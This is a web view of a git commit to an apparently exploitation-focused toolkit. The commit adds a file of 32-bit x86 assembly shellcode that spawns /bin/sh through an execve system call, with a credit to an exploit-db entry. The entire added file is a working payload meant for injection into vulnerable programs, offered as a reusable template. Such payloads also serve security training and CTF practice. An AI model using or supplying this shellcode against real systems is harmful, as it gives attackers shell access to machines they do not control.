summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/shell32.asm
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2021-08-22 05:52:56 -0400
committerMalfurious <m@lfurio.us>2021-08-22 05:52:56 -0400
commite9cb4e14009a9ea3cbd08c2c4992d0e24b69e097 (patch)
tree055c328103d0ec85f9fe901a3105aa062b37751f /templates/shellcode/shell32.asm
parent442640f100727a081cf26460992465386fe3a633 (diff)
downloadlib-des-gnux-e9cb4e14009a9ea3cbd08c2c4992d0e24b69e097.tar.gz
lib-des-gnux-e9cb4e14009a9ea3cbd08c2c4992d0e24b69e097.zip
Add generic /bin/sh shellcode templates
Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'templates/shellcode/shell32.asm')
-rw-r--r--templates/shellcode/shell32.asm14
1 files changed, 14 insertions, 0 deletions
diff --git a/templates/shellcode/shell32.asm b/templates/shellcode/shell32.asm
new file mode 100644
index 0000000..d12910f
--- /dev/null
+++ b/templates/shellcode/shell32.asm
@@ -0,0 +1,14 @@
+[SECTION .text]
+global _start
+
+; https://www.exploit-db.com/shellcodes/46809
+
+_start:
+ xor ecx, ecx
+ push 0xb
+ pop eax
+ push ecx
+ push 0x68732f2f
+ push 0x6e69622f
+ mov ebx, esp
+ int 0x80